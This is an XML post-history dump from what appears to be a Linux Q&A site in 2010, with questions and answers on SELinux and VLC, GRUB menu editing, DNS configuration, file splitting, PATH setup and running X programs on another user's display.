  <row Id="3137" PostHistoryTypeId="5" PostId="1577" RevisionGUID="f48a2325-4a27-477c-a4ef-91ab39d708c0" CreationDate="2010-09-04T15:51:13.723" UserId="73" Comment="added 2 characters in body; added 1 characters in body" Text="Did you run the fix command in the summary you posted? &#xD;&#xA;&#xD;&#xA;    sudo chcon -t textrel_shlib_t '/usr/lib/vlc/plugins/codec/libdmo_plugin.so'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3138" PostHistoryTypeId="6" PostId="1569" RevisionGUID="3c8fd812-210e-4301-935a-3b9a205438a0" CreationDate="2010-09-04T15:51:30.493" UserId="1207" Comment="edited tags" Text="écommandölineàéwheelà" />
  <row Id="3139" PostHistoryTypeId="5" PostId="1576" RevisionGUID="f136254e-3289-4c78-9f60-85f656a0b3fc" CreationDate="2010-09-04T15:53:49.227" UserId="1267" Comment="added 223 characters in body" Text="I am using Fedora 13 and my VLC media player is showing this problem for the past one week. How do i rectify this error.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Summary:&#xD;&#xA;&#xD;&#xA;SELinux is preventing /usr/bin/vlc from loading&#xD;&#xA;/usr/lib/vlc/plugins/codec/libdmo_plugin.so which requires text relocation.&#xD;&#xA;&#xD;&#xA;Detailed Description:&#xD;&#xA;&#xD;&#xA;The vlc application attempted to load&#xD;&#xA;/usr/lib/vlc/plugins/codec/libdmo_plugin.so which requires text relocation. This&#xD;&#xA;is a potential security problem. Most libraries do not need this permission.&#xD;&#xA;Libraries are sometimes coded incorrectly and request this permission. The&#xD;&#xA;SELinux Memory Protection Tests&#xD;&#xA;(http://people.redhat.com/drepper/selinux-mem.html) web page explains how to&#xD;&#xA;remove this requirement. You can configure SELinux temporarily to allow&#xD;&#xA;/usr/lib/vlc/plugins/codec/libdmo_plugin.so to use relocation as a workaround,&#xD;&#xA;until the library is fixed. Please file a bug report.&#xD;&#xA;&#xD;&#xA;Allowing Access:&#xD;&#xA;&#xD;&#xA;If you trust /usr/lib/vlc/plugins/codec/libdmo_plugin.so to run correctly, you&#xD;&#xA;can change the file context to textrel_shlib_t. &quot;chcon -t textrel_shlib_t&#xD;&#xA;'/usr/lib/vlc/plugins/codec/libdmo_plugin.so'&quot; You must also change the default&#xD;&#xA;file context files on the system in order to preserve them even on a full&#xD;&#xA;relabel. &quot;semanage fcontext -a -t textrel_shlib_t&#xD;&#xA;'/usr/lib/vlc/plugins/codec/libdmo_plugin.so'&quot;&#xD;&#xA;&#xD;&#xA;Fix Command:&#xD;&#xA;&#xD;&#xA;chcon -t textrel_shlib_t '/usr/lib/vlc/plugins/codec/libdmo_plugin.so'&#xD;&#xA;&#xD;&#xA;Additional Information:&#xD;&#xA;&#xD;&#xA;Source Context                unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1&#xD;&#xA;                              023&#xD;&#xA;Target Context                system_u:object_r:lib_t:s0&#xD;&#xA;Target Objects                /usr/lib/vlc/plugins/codec/libdmo_plugin.so [ file&#xD;&#xA;                              ]&#xD;&#xA;Source                        vlc&#xD;&#xA;Source Path                   /usr/bin/vlc&#xD;&#xA;Port                          &lt;Unknown&gt;&#xD;&#xA;Host                          (removed)&#xD;&#xA;Source RPM Packages           vlc-core-1.1.3-1.fc13&#xD;&#xA;Target RPM Packages           vlc-core-1.1.3-1.fc13&#xD;&#xA;Policy RPM                    selinux-policy-3.7.19-51.fc13&#xD;&#xA;Selinux Enabled               True&#xD;&#xA;Policy Type                   targeted&#xD;&#xA;Enforcing Mode                Enforcing&#xD;&#xA;Plugin Name                   allow_execmod&#xD;&#xA;Host Name                     (removed)&#xD;&#xA;Platform                      Linux (removed) 2.6.34.6-47.fc13.i686.PAE #1&#xD;&#xA;                              SMP Fri Aug 27 09:29:49 UTC 2010 i686 i686&#xD;&#xA;Alert Count                   3&#xD;&#xA;First Seen                    Sat 04 Sep 2010 08:26:05 PM IST&#xD;&#xA;Last Seen                     Sat 04 Sep 2010 08:35:40 PM IST&#xD;&#xA;Local ID                      48840a90-fea4-403b-95a3-6cadc80b1a0a&#xD;&#xA;Line Numbers                  &#xD;&#xA;&#xD;&#xA;Raw Audit Messages            &#xD;&#xA;&#xD;&#xA;node=(removed) type=AVC msg=audit(1283612740.262:117): avc:  denied  { execmod } for  pid=9594 comm=&quot;vlc&quot; path=&quot;/usr/lib/vlc/plugins/codec/libdmo_plugin.so&quot; dev=sda2 ino=789070 scontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tcontext=system_u:object_r:lib_t:s0 tclass=file&#xD;&#xA;&#xD;&#xA;node=(removed) type=SYSCALL msg=audit(1283612740.262:117): arch=40000003 syscall=125 success=no exit=-13 a0=4439000 a1=1e000 a2=5 a3=bfbe2480 items=0 ppid=1 pid=9594 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=(none) ses=1 comm=&quot;vlc&quot; exe=&quot;/usr/bin/vlc&quot; subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=(null)&#xD;&#xA;&#xD;&#xA;-----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update** Well, i tried that now in terminal and nothing seems to happen.&#xD;&#xA;&#xD;&#xA;[chandru.math@chandru ~]$ chcon -t textrel_shlib_t '/usr/lib/vlc/plugins/codec/libdmo_plugin.so&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It stops like this!" />
  <row Id="3140" PostHistoryTypeId="2" PostId="1578" RevisionGUID="ecf1ff67-93dc-491a-9c2a-f3d76f0e5911" CreationDate="2010-09-04T16:13:47.297" UserId="289" Text="I'd like to edit the Grub menu that comes up, to move one line and remove others.&#xD;&#xA;&#xD;&#xA;I have an Inspiron 1420 that came with Ubuntu 7.10.  When it needed a new drive, I installed Windows 7, the original OS, and then it seemed that 10.04 wanted its own partition.  I probably should have checked exactly what I was doing first (famous last words).&#xD;&#xA;&#xD;&#xA;What I'd like to do is remove the 7.10 lines entirely, so I can blow away everything in that partition and use it as /home for 10.04.  I'd also like to move the Windows 7 line up to second from the top, so booting in Windows would be a quick two keystrokes rather than following the line all the way down.  Hitting the Grub edit key came up with unclear instructions, and since this is the boot loader I'd kind of rather not screw it up too bad.&#xD;&#xA;&#xD;&#xA;So, what's the best way to do this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3141" PostHistoryTypeId="1" PostId="1578" RevisionGUID="ecf1ff67-93dc-491a-9c2a-f3d76f0e5911" CreationDate="2010-09-04T16:13:47.297" UserId="289" Text="Editing grub menu" />
  <row Id="3142" PostHistoryTypeId="3" PostId="1578" RevisionGUID="ecf1ff67-93dc-491a-9c2a-f3d76f0e5911" CreationDate="2010-09-04T16:13:47.297" UserId="289" Text="égrubà" />
  <row Id="3143" PostHistoryTypeId="2" PostId="1579" RevisionGUID="34c9fe7d-a8fd-42d4-a877-cd1bdf03b059" CreationDate="2010-09-04T16:23:46.120" UserId="289" Text="I've got a Ubuntu 10.04 laptop, and recently it's had some odd networking problems.  It's on the home wireless router, supplied by the phone company, and has no problem talking to anything on the wireless LAN, whether by IP number or /etc/hosts name.  It's set to use the wireless connection with DHCP, and there really isn't much I can screw up after that for network entries.&#xD;&#xA;&#xD;&#xA;Right now, I can reach outside the LAN by IP number, but that doesn't do well for web surfing.  When I do a nslookup, I'm getting non-authoritative answers, so I suspect I'm hitting a cache somewhere (probably the router).  Any attempt to get outside the LAN with a domain name fails quietly, like a &quot;can't find&quot; using Firefox.&#xD;&#xA;&#xD;&#xA;The only things that might have changed since it did work right are 10.04 updates (and there's been quite a few of them) and a couple of lines added to /etc/hosts, to address fixed IPs on the LAN (in the 192.168.0.* range).  The lines are in the same format as others, and it's nothing I haven't done before with no ill effects.&#xD;&#xA;&#xD;&#xA;Any ideas on what to try next?" />
  <row Id="3144" PostHistoryTypeId="1" PostId="1579" RevisionGUID="34c9fe7d-a8fd-42d4-a877-cd1bdf03b059" CreationDate="2010-09-04T16:23:46.120" UserId="289" Text="Can't reach DNS through wireless router" />
  <row Id="3145" PostHistoryTypeId="3" PostId="1579" RevisionGUID="34c9fe7d-a8fd-42d4-a877-cd1bdf03b059" CreationDate="2010-09-04T16:23:46.120" UserId="289" Text="énetworkingàédnsà" />
  <row Id="3146" PostHistoryTypeId="2" PostId="1580" RevisionGUID="90e95751-648a-4a0f-afad-b57551eb6a45" CreationDate="2010-09-04T16:37:37.667" UserId="138" Text="Your OS's network configuration may allow you to use DHCP with fixed DNS addresses.  Even if not, you can temporarily overwrite `/etc/resolv.conf` to try out a different set of DNS servers; such changes will persist until the next DHCP lease renewal.&#xD;&#xA;&#xD;&#xA;Either way, try using a public DNS service instead of your phone company's.  Google's public DNS servers are:&#xD;&#xA;&#xD;&#xA;&gt; 8.8.8.8&lt;br&gt;&#xD;&#xA;&gt; 8.8.4.4&#xD;&#xA;&#xD;&#xA;and OpenDNS's are:&#xD;&#xA;&#xD;&#xA;&gt; 208.67.222.222&lt;br&gt;&#xD;&#xA;&gt; 208.67.220.220&#xD;&#xA;&#xD;&#xA;If that works, you can just keep it, since there are advantages to using these alternate services.  Or, you can then start from a position of being able to blame the phone company's DNS in some way and attack that.&#xD;&#xA;&#xD;&#xA;If this change doesn't help, you've exonerated the phone company's DNS servers, so you know the problem is inside the house." />
  <row Id="3149" PostHistoryTypeId="6" PostId="1578" RevisionGUID="3a5d7323-3308-412a-af25-d933e3e2fd97" CreationDate="2010-09-04T17:21:03.087" UserId="250" Comment="edited tags" Text="éubuntuàégrubàébootömenuà" />
  <row Id="3150" PostHistoryTypeId="2" PostId="1582" RevisionGUID="ed6af104-f8ac-4b5a-b69b-2750a34ad9d4" CreationDate="2010-09-04T17:36:43.800" UserId="250" Text="You should probably refer to the Ubuntu documentation&#xD;&#xA;&#xD;&#xA; - [Grub Legacy][1]&#xD;&#xA; - [Grub 2][2]&#xD;&#xA;&#xD;&#xA;An example of `menu.lst` (for Grub Legacy) can be found by googling &quot;grub menu.lst&quot;. Here is the [second result][3] (the first is about Grub2).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/GrubHowto&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Grub2#Custom%20Menu%20Entries&#xD;&#xA;  [3]: http://boff.wordpress.com/2007/01/17/editing-bootgrubmenulst-to-change-the-grub-boot-menu/" />
  <row Id="3151" PostHistoryTypeId="2" PostId="1583" RevisionGUID="d518982e-2aca-430e-af38-456d50f3cdab" CreationDate="2010-09-04T17:43:24.100" UserId="29" Text="It seems like when I have certain web pages focussed my screensaver will kick in but the screen won't turn itself off. Does anyone have any ideas why this might be? and whether there is a way to disable whatever is keeping DPMS from kicking in?" />
  <row Id="3152" PostHistoryTypeId="1" PostId="1583" RevisionGUID="d518982e-2aca-430e-af38-456d50f3cdab" CreationDate="2010-09-04T17:43:24.100" UserId="29" Text="Screen Doesn't always shut off on its own" />
  <row Id="3153" PostHistoryTypeId="3" PostId="1583" RevisionGUID="d518982e-2aca-430e-af38-456d50f3cdab" CreationDate="2010-09-04T17:43:24.100" UserId="29" Text="éxorgàéchromeàépowerömanagementàédpmsà" />
  <row Id="3154" PostHistoryTypeId="6" PostId="1579" RevisionGUID="7af65545-a2b0-4a7f-95a9-a57aaebc4b58" CreationDate="2010-09-04T17:51:07.830" UserId="29" Comment="add ubuntu tag, network scripts are distro specific" Text="éubuntuàénetworkingàédnsà" />
  <row Id="3155" PostHistoryTypeId="2" PostId="1584" RevisionGUID="44c9ecaa-6729-440a-a1b3-3e3dbf44e04c" CreationDate="2010-09-04T17:52:11.063" UserId="1002" Text="I've heard the same complaints from several people who tried to use recent development builds of Google Chrome.  You probably should use a more stable version of it (or use the Chromium browser provided in the Ubuntu repositories, which is the open source version of Google Chrome).  Or otherwise you can wait until Google fixes this bug..." />
  <row Id="3156" PostHistoryTypeId="2" PostId="1585" RevisionGUID="1d36446f-4e75-4e43-a93d-200b6a5f2d29" CreationDate="2010-09-04T18:06:13.230" UserId="1469" Text="Actually, I believe the question was not about the (standard) file permission bits, but _extended_ ACL information (see setfacl(1) or acl(5)).&#xD;&#xA;&#xD;&#xA;To my knowledge, the unmodified GNU tar ignores ACL information.  (The man page for GNU tar 1.15.1 as shipped with RHEL 5.2 mentions switches --acls and --no-acls, but I haven't gotten them to work.)&#xD;&#xA;&#xD;&#xA;However, the *star* program is able to back up and restore ACLs, if you select the *exustar* format:&#xD;&#xA;&#xD;&#xA;    star -c -p -acl artype=exustar -f archive.tar  files...&#xD;&#xA;    star -x -acl -f archive.tar&#xD;&#xA;&#xD;&#xA;Star home page: http://cdrecord.berlios.de/new/private/star.html&#xD;&#xA;Star is available in ubuntu, at least.&#xD;&#xA;" />
  <row Id="3157" PostHistoryTypeId="2" PostId="1586" RevisionGUID="d1c5c8cd-d01b-47f1-812e-655a2257d591" CreationDate="2010-09-04T18:28:07.950" UserId="457" Text="&lt;b&gt;Short answer:&lt;/b&gt; Delete the 7.10 partition, edit the files in `/etc/grub.d/` as needed, then run `sudo update-grub`&#xD;&#xA;&#xD;&#xA;&lt;b&gt;Long answer:&lt;/b&gt;&#xD;&#xA;The edit mode in the boot menu is meant for temporary edits, for recovery or testing purposes usually. To change the options permanently you need to boot into the OS that installed Grub to the boot block and change the Grub configuration there.&#xD;&#xA;&#xD;&#xA;Ubuntu 10.04 uses Grub2 by default, which eliminates `menu.lst` and autogenerates `grub.cfg` each time update-grub is run. I wouldn't edit that file manually as your changes will likely get blown away (update-grub is automatically run after various updates, especially those dealing with the kernel). &#xD;&#xA;&#xD;&#xA;The first thing I'd do is make sure you're using Grub from your 10.04 partition, and not your 7.10. I believe booting into 10.04 and running `sudo update-grub` should be sufficient. If it runs fine, you're using the correct Grub. If it doesn't, it should provide an error message you can use to figure out what needs to be done.&#xD;&#xA;&#xD;&#xA;To remove the 7.10 entries, it might be as simple as just wiping that partition and then running `sudo update-grub`. Most of the Grub2 entries are autodetected, so if it no longer detects the bootable kernel it won't list it. If that doesn't clear it, the files to edit live in `/etc/grub.d/`, look for a file or section specific to 7.10 and delete it (making sure to back up any file you edit/delete first), then rerun `sudo update-grub`. If you screw something up, you can fix it by putting your backed up files back and rerunning `sudo update-grub`, although you may need to boot off your recovery disc if you manage to blow away your 10.04 entry somehow.&#xD;&#xA;&#xD;&#xA;Reordering is trickier, they come from the order of [the files](https://wiki.ubuntu.com/Grub2#/etc/grub.d/%20%28folder%29) in `/etc/grub.d/` and the order within those scripts.  The Windows entry comes from `30_os-prober`, so you could rename it `11_os-prober` to put it after the entries from `10_linux` but that wouldn't make it the second entry and I'm not sure if that would break with updates. &#xD;&#xA;&#xD;&#xA;If you don't mind having the Windows entry first and Linux second (but default) what I did instead was to copy `40_custom` to `01_custom` and then copied the Windows menuentry section from `/boot/grub/grub.cfg` verbatim. That put Windows as the first entry, and you can then edit `/etc/default/grub` and put `GRUB_DEFAULT=1` to make the second entry (it counts from 0) the default (assuming that's 10.04). Note that this will duplicate the Windows entry in your boot menu, which you can eliminate the duplicate by removing the execute bit from `30_os-prober`, but I suggest leaving it in case you need the autoprobed entries from os-prober later." />
  <row Id="3158" PostHistoryTypeId="2" PostId="1587" RevisionGUID="64b1cc6f-1093-4f7a-a4dc-6c12a395643c" CreationDate="2010-09-04T18:31:05.230" UserId="885" Text="1. Tell the Ubuntu 10.04 to impose its own Grub2 (`grub-pc` package) for booting, if you haven't done so already (the installation program may have reused the existing Grub from 7.04). It may be as simple as&#xD;&#xA;&#xD;&#xA;        sudo update-grub&#xD;&#xA;        sudo grub-install /dev/sda&#xD;&#xA;&#xD;&#xA; but check https://help.ubuntu.com/community/Grub2 if you have trouble. Don't worry if you see something about 7.04: it's expected and harmless.&#xD;&#xA;&#xD;&#xA;2. Remove the 7.04 installation.&#xD;&#xA;&#xD;&#xA;3. Run `update-grub` again on the 10.04 system. This time it should only offer to boot Ubuntu 10.04 and Windows.&#xD;&#xA;&#xD;&#xA;4. I can't think of an easy way of having the Windows entry between the normal Linux entry and the rescue Linux entry. But I think in your situation the Windows entry will be last, so you can boot it with &lt;kbd&gt;End&lt;/kbd&gt; &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3160" PostHistoryTypeId="2" PostId="1588" RevisionGUID="f14b5d57-0813-4de2-9c0c-0e4abef96903" CreationDate="2010-09-04T18:51:21.717" UserId="1327" Text="How do I ( using the command line ) break large, **+4GB** file into smaller segments of say **500MB** each, then **re-assemble** them again to get the original file. " />
  <row Id="3161" PostHistoryTypeId="1" PostId="1588" RevisionGUID="f14b5d57-0813-4de2-9c0c-0e4abef96903" CreationDate="2010-09-04T18:51:21.717" UserId="1327" Text="Break  a large file into smaller pieces" />
  <row Id="3162" PostHistoryTypeId="3" PostId="1588" RevisionGUID="f14b5d57-0813-4de2-9c0c-0e4abef96903" CreationDate="2010-09-04T18:51:21.717" UserId="1327" Text="écommandölineà" />
  <row Id="3163" PostHistoryTypeId="2" PostId="1589" RevisionGUID="d40a48ba-2614-48ab-8ccd-50fd860c9756" CreationDate="2010-09-04T19:00:53.797" UserId="1131" Text="You can use *split* and *cat*." />
  <row Id="3164" PostHistoryTypeId="5" PostId="1580" RevisionGUID="62f18984-8a76-4209-95a2-855c269ea0f2" CreationDate="2010-09-04T19:01:54.393" UserId="138" Comment="Added more info on where to find the &quot;DHCP + static DNS&quot; setting, plus various clarifications" Text="On Ubuntu 10.04, you can configure the networking so it gets only your machine's IP via DHCP, but lets you set everything else statically.  In System &gt; Network Connections, go into your wireless card's setup and select &quot;Automatic (DHCP) addresses only&quot; from the Method drop-down.  Below, you will then be able to give static DNS server addresses.&#xD;&#xA;&#xD;&#xA;This feature is common on lots of OSes, though there is no agreement on what to call the feature or where to put it.  The Arch Linux info in the comment below is one possibility.  OS X and Windows can do it, too.  &#xD;&#xA;&#xD;&#xA;If your system truly has no such feature, you can can temporarily overwrite `/etc/resolv.conf` to try out a different set of DNS servers.  Such changes will persist until the next DHCP lease renewal.&#xD;&#xA;&#xD;&#xA;Regardless, the way to debug a problem like this is to try using a public DNS service instead of your phone company's.  I like to use Google's public DNS servers, since their addresses are easy to remember:&#xD;&#xA;&#xD;&#xA;&gt; 8.8.8.8&lt;br&gt;&#xD;&#xA;&gt; 8.8.4.4&#xD;&#xA;&#xD;&#xA;Another popular public DNS service is OpenDNS, whose servers are:&#xD;&#xA;&#xD;&#xA;&gt; 208.67.222.222&lt;br&gt;&#xD;&#xA;&gt; 208.67.220.220&#xD;&#xA;&#xD;&#xA;If that works, you can just keep using these servers, since they likely have advantages over the generic DNS services provided by your ISP.  Or, you can then start from a position of being able to blame the phone company's DNS in some way and attack the problem from that direction.&#xD;&#xA;&#xD;&#xA;If this change doesn't help, you've exonerated the phone company's DNS servers, so you know the problem is inside the house." />
  <row Id="3165" PostHistoryTypeId="5" PostId="1589" RevisionGUID="75ece478-d436-4ea8-bc6e-dbb33bc75f42" CreationDate="2010-09-04T19:06:38.533" UserId="1131" Comment="link, example" Text="You can use [*split*][1] and *cat*.&#xD;&#xA;&#xD;&#xA;E.g. something like&#xD;&#xA;&#xD;&#xA;     split -b 500M -d  -a 3 foo&#xD;&#xA;&#xD;&#xA;Assuming that the shell sorts the results of shell globbing you could do something like this:&#xD;&#xA;&#xD;&#xA;     cat foo.* &gt; foo&#xD;&#xA;&#xD;&#xA;Else, you could use a combination of find/sort/xargs.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/split-invocation.html" />
  <row Id="3166" PostHistoryTypeId="5" PostId="1588" RevisionGUID="111a03e8-5285-4816-9fdd-e4aef11e75f8" CreationDate="2010-09-04T19:07:56.990" UserId="1327" Comment="more details" Text="How do I ( using the command line ) break large, **+4GB** file into smaller segments of say **500MB** each, then **re-assemble** them again to get the original file. &#xD;&#xA;&#xD;&#xA;For example&#xD;&#xA;&#xD;&#xA;     break file.img -s 500mb &#xD;&#xA;&#xD;&#xA;should output files of size 500mb&#xD;&#xA;     &#xD;&#xA;     file.img-part-1&#xD;&#xA;     file.img-part-2&#xD;&#xA;     file.img-part-3&#xD;&#xA;     file.img-part-4&#xD;&#xA;&#xD;&#xA;and then to join&#xD;&#xA;&#xD;&#xA;     join file.img-part*;&#xD;&#xA;" />
  <row Id="3169" PostHistoryTypeId="2" PostId="1591" RevisionGUID="2b634c67-bb6f-4aa1-8629-1176b8d8280a" CreationDate="2010-09-04T20:27:26.407" UserId="29" Text="Is there a standard for `$PATH` and the order of things that are supposed to be in there? out of the box Arch Linux doesn't have `/usr/local/bin` in the `$PATH`. I want to add it but I'm not sure if there's a predefined pecking order for system paths.&#xD;&#xA;&#xD;&#xA;Also where is the right place to do this? for right now I modified `/etc/profile` but I'm not sure that's the right place in Arch for user modifications. Anyone know if there's a better place?" />
  <row Id="3170" PostHistoryTypeId="1" PostId="1591" RevisionGUID="2b634c67-bb6f-4aa1-8629-1176b8d8280a" CreationDate="2010-09-04T20:27:26.407" UserId="29" Text="modify path globally" />
  <row Id="3171" PostHistoryTypeId="3" PostId="1591" RevisionGUID="2b634c67-bb6f-4aa1-8629-1176b8d8280a" CreationDate="2010-09-04T20:27:26.407" UserId="29" Text="éshellàéarchölinuxàéstandardàépathà" />
  <row Id="3172" PostHistoryTypeId="2" PostId="1592" RevisionGUID="cb98f111-676f-42ad-b84a-940d3fca9ca4" CreationDate="2010-09-04T20:33:54.837" UserId="73" Text="By &quot;globally&quot;, do you mean for all users? I put my path modifications in `~/.profile`, as it affects X applications as well. If you want it in the system profile it's probably best to modify `/etc/profile`" />
  <row Id="3173" PostHistoryTypeId="2" PostId="1593" RevisionGUID="23a9584d-f549-4b63-bc3c-79542f3e4dde" CreationDate="2010-09-04T20:52:57.567" UserId="29" Text="For most commands a wrapper will have to be written because Syslog-ng will only execute the command when it starts. This means that the command has to effectively be a daemon itself always accepting input from stdin.&#xD;&#xA;&#xD;&#xA;That's simple though...&#xD;&#xA; &#xD;&#xA;    #!/bin/dash&#xD;&#xA;    &#xD;&#xA;    while read line&#xD;&#xA;    do&#xD;&#xA;        /usr/bin/kdialog --passivepopup &quot;${line}&quot; 2&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;unfortunately this script doesn't work for me, probably because it doesn't know which display to use. But if your script doesn't need an X server then a simple format like this should work you.&#xD;&#xA;&#xD;&#xA;Although this is no way helpful due to the fact that Syslog-ng will only start the program on startup I found the fact that `xargs` can create positional arguments from standard input interesting.&#xD;&#xA;&#xD;&#xA;    echo 'test' | /usr/bin/xargs -I '{}' /usr/bin/kdialog --passivepopup '{}' 2" />
  <row Id="3174" PostHistoryTypeId="6" PostId="1583" RevisionGUID="13e6f15e-b86f-43e0-9c00-1d1f299ac502" CreationDate="2010-09-04T20:59:05.827" UserId="29" Comment="add kde to tags in case it has something to do with kscreensaver" Text="ékdeàéxorgàéchromeàépowerömanagementàédpmsà" />
  <row Id="3175" PostHistoryTypeId="2" PostId="1594" RevisionGUID="01e27996-f1fa-45a8-8a4d-5ef20b3ae6ff" CreationDate="2010-09-04T21:00:42.317" UserDisplayName="Michael" Text="I've got a dual xeon, 2GB, 75GB hd server that I'd like to turn into my dedicated virtual environment.  Currently I'm using VirtualBox locally to run a mock cluster for Cassandra and Nginx/Haproxy, but it's starting to overload my system.  I'd like to run Arch for this box and have a minimal desktop environment with either KVM or Xen managing all the VM's.  Anyone know of a good tutorial or should I just do the base arch install and then find a good tutorial for setting up Xen/KVM and managing the machines?  Also, which would be better for this type of environment.  I've read that kvm is the way to go because it's much easier to setup and manage but I do not mind a more difficult setup if I can make better use of the hardware with Xen." />
  <row Id="3176" PostHistoryTypeId="1" PostId="1594" RevisionGUID="01e27996-f1fa-45a8-8a4d-5ef20b3ae6ff" CreationDate="2010-09-04T21:00:42.317" UserDisplayName="Michael" Text="Good tutorial for setting up a KVM/Xen box and advice on which would be better." />
  <row Id="3177" PostHistoryTypeId="3" PostId="1594" RevisionGUID="01e27996-f1fa-45a8-8a4d-5ef20b3ae6ff" CreationDate="2010-09-04T21:00:42.317" UserDisplayName="Michael" Text="évirtualömachineàékvmà" />
  <row Id="3178" PostHistoryTypeId="2" PostId="1595" RevisionGUID="6865d95a-9a56-40b9-9856-5130bcc7cf52" CreationDate="2010-09-04T21:17:41.377" UserId="1299" Text="There is a question about KVM vs Xen performance from Server Fault that might be helpful.&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/41972/" />
  <row Id="3179" PostHistoryTypeId="2" PostId="1596" RevisionGUID="ef39085c-54e8-45eb-a760-af639161e197" CreationDate="2010-09-04T21:29:48.320" UserId="29" Text="As root can I launch a graphical program on another users desktop?&#xD;&#xA;&#xD;&#xA;*Following are other questions which I think I need to know*&#xD;&#xA;&#xD;&#xA;From a non X Session? (meaning root isn't logged into X)&#xD;&#xA;&#xD;&#xA;If multiple people were logged in on X could I auto-detect who was on which screen? and thus programmatically detect which screen I need to launch the app on?&#xD;&#xA;&#xD;&#xA;Can I launch the app as the user? ( ok I'm 99.999% sure this is a yes )&#xD;&#xA;&#xD;&#xA;Can I detect if users of group X are logged in to X?" />
  <row Id="3180" PostHistoryTypeId="1" PostId="1596" RevisionGUID="ef39085c-54e8-45eb-a760-af639161e197" CreationDate="2010-09-04T21:29:48.320" UserId="29" Text="As root can I launch a graphical program on another users desktop?" />
  <row Id="3181" PostHistoryTypeId="3" PostId="1596" RevisionGUID="ef39085c-54e8-45eb-a760-af639161e197" CreationDate="2010-09-04T21:29:48.320" UserId="29" Text="éxorgàérootà" />
  <row Id="3182" PostHistoryTypeId="2" PostId="1597" RevisionGUID="7a961168-aee3-4ce1-964c-ba468c53f425" CreationDate="2010-09-04T21:53:18.443" UserId="317" Text="it said that compiling GNU tools and linux kernel with -O3 gcc optimization option will produce weird and funky bugs, is it real? anyone tried it? or its just hoax..." />
  <row Id="3183" PostHistoryTypeId="1" PostId="1597" RevisionGUID="7a961168-aee3-4ce1-964c-ba468c53f425" CreationDate="2010-09-04T21:53:18.443" UserId="317" Text="compile GNU/Linux with -O3 optimization" />
  <row Id="3184" PostHistoryTypeId="3" PostId="1597" RevisionGUID="7a961168-aee3-4ce1-964c-ba468c53f425" CreationDate="2010-09-04T21:53:18.443" UserId="317" Text="élinuxàékernelàécompilingàégccàéoptionsà" />
  <row Id="3185" PostHistoryTypeId="2" PostId="1598" RevisionGUID="20c1943f-1bbb-480c-96f3-65949eb308fc" CreationDate="2010-09-04T22:03:34.163" UserId="1207" Text="I can't completely try this since all my machines have root disabled.&#xD;&#xA;&#xD;&#xA;To find which display a user is on, you can use the `who` command.  The last column of output is usually the DISPLAY that the user is logged in on.  Something like this could be used to grab just the display (there is likely a far more efficient way to do this, feel free to offer edits):&#xD;&#xA;&#xD;&#xA;    who | grep ^username.*\( | head -1 | awk '{print $5}' | sed 's/[(|)]//g'&#xD;&#xA;&#xD;&#xA;Then to launch a graphical X command on that display:&#xD;&#xA;&#xD;&#xA;    DISPLAY=:0 firefox &amp;&#xD;&#xA;&#xD;&#xA;where :0 would be replaced with whatever display you found in the first command and firefox would be replaced with whatever command you want to run. You could put this in a shell script and just use a variable.&#xD;&#xA;&#xD;&#xA;The next part is the part I haven't tested, but I don't see why it shouldn't be possible to do:&#xD;&#xA;&#xD;&#xA;    su username -c &quot;DISPLAY=:0 firefox&quot;&#xD;&#xA;&#xD;&#xA;to launch the X command as that user." />
  <row Id="3186" PostHistoryTypeId="2" PostId="1599" RevisionGUID="630347ce-7a89-4845-92a9-c6e6d9a47ee8" CreationDate="2010-09-04T22:07:11.700" UserId="1131" Text="You could look at how acpid does it. E.g. when it issues xscreensaver commands or blanks the screen for each user running X or X-session.&#xD;&#xA;&#xD;&#xA;For example under Ubuntu this file contains related stuff:&#xD;&#xA;&#xD;&#xA;    /etc/acpi/lid.sh&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3187" PostHistoryTypeId="5" PostId="1598" RevisionGUID="bad0bc70-5fc2-4386-a803-aa66db0d62ad" CreationDate="2010-09-04T22:30:18.813" UserId="1207" Comment="removed uncessary use of head" Text="I can't completely try this since all my machines have root disabled.&#xD;&#xA;&#xD;&#xA;To find which display a user is on, you can use the `who` command.  The last column of output is usually the DISPLAY that the user is logged in on.  Something like this could be used to grab just the display (there is likely a far more efficient way to do this, feel free to offer edits):&#xD;&#xA;&#xD;&#xA;    who | grep -m1 ^username.*\( | awk '{print $5}' | sed 's/[(|)]//g'&#xD;&#xA;&#xD;&#xA;Then to launch a graphical X command on that display:&#xD;&#xA;&#xD;&#xA;    DISPLAY=:0 firefox &amp;&#xD;&#xA;&#xD;&#xA;where :0 would be replaced with whatever display you found in the first command and firefox would be replaced with whatever command you want to run. You could put this in a shell script and just use a variable.&#xD;&#xA;&#xD;&#xA;The next part is the part I haven't tested, but I don't see why it shouldn't be possible to do:&#xD;&#xA;&#xD;&#xA;    su username -c &quot;DISPLAY=:0 firefox&quot;&#xD;&#xA;&#xD;&#xA;to launch the X command as that user." />
  <row Id="3188" PostHistoryTypeId="5" PostId="1595" RevisionGUID="c741e0b3-8afa-4a53-9b9e-8f3c769309ea" CreationDate="2010-09-04T22:54:51.610" UserId="1299" Comment="acknowledge incompleteness of answer" Text="This is not a complete answer to your question, but with regard to performance there is a [KVM vs Xen question][1] on Server Fault that might be helpful.&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/41972/" />
